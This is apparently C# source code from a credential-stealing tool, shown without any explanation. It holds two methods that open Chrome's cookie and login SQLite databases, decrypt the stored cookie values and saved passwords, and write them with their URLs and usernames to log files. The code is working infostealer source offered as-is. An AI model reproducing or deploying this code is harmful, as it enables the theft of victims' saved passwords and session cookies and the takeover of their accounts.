public static void Inizialize() { if (File.Exists(CombineEx.Combination(OSLibrary.GetOSBit(), "SQLite.Interop.dll"))) { _Logs.Clear(); for (int i = 0; i < ChromeCookiesSearcher.GetCookies.Count; i++) { int SafeIndex = i; if (File.Exists(ChromeCookiesSearcher.GetCookies[SafeIndex])) { try { using (var Connect = new SQLiteConnection($"Data Source={ChromeCookiesSearcher.GetCookies[SafeIndex]};pooling=false")) { Connect.Open(); using (var ComText = new SQLiteCommand("SELECT name, encrypted_value, path, expires_utc, last_access_utc, host_key FROM cookies", Connect)) { ComText.CommandType = CommandType.Text; using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (!reader.HasRows) { continue; } else { while (reader.Read()) { _Logs.Add(new BaseCookies { Application = Path.GetFileNameWithoutExtension(ChromeCookiesSearcher.GetCookies[SafeIndex]), HostKey = (string)reader["host_Key"], Name = (string)reader["Name"], Path = (string)reader["path"], Expires_utc = (long)reader["expires_utc"], Last_access_utc = (long)reader["last_access_utc"], EncryptedValue = ChromeDecrypt.DecryptValue((byte[])reader["encrypted_value"], DataProtectionScope.LocalMachine) }); } } } } SQLiteConnection.ClearPool(Connect); } } catch (SQLiteException) { continue; } catch (FormatException) { continue; } catch (ArgumentException) { continue; } catch (IndexOutOfRangeException) { continue; } catch (DllNotFoundException) { continue; } } } Ccleaner.DeltaLogs("Cookies"); foreach (BaseCookies ss in _Logs) { SaveData.SaveFile(GlobalPath.CookiesLog, ss.ToString()); } } }
public static void Inizialize() { _Logs.Clear(); for (int i = 0; i < ChromeSearcher.GetLogins.Count; i++) { int SafeIndex = i; if (File.Exists(ChromeSearcher.GetLogins[SafeIndex])) { try { using (var Connect = new SQLiteConnection($"Data Source={ChromeSearcher.GetLogins[SafeIndex]};Version=3;New=False;Compress=True;")) { Connect.Open(); using (var ComText = new SQLiteCommand("SELECT origin_url, username_value, password_value FROM logins", Connect)) { using (SQLiteDataReader reader = ComText.ExecuteReader()) { if (reader.HasRows) { while (reader.Read()) { _Logs.Add(new BaseAccount { BrowserName = Path.GetFileNameWithoutExtension(ChromeSearcher.GetLogins[SafeIndex]), Url = (string)reader["origin_url"], User = (string)reader["username_value"], Pass = ChromeDecrypt.DecryptValue(GetBytes(reader, 2), DataProtectionScope.LocalMachine) }); } } else { continue; } } } SQLiteConnection.ClearPool(Connect); } } catch (SQLiteException) { continue; } catch (FormatException) { continue; } catch (ArgumentException) { continue; } catch (IndexOutOfRangeException) { continue; } catch (DllNotFoundException) { continue; } } } Ccleaner.DeltaLogs("Logins"); var b = new Wrapper { Browsers = _Logs }; if (File.Exists(CombineEx.Combination(GlobalPath.GarbageTemp, "Newtonsoft.Json.dll"))) { SaveData.SaveFile(GlobalPath.PasswordLog, JsonConvert.SerializeObject(b, Formatting.Indented)); } }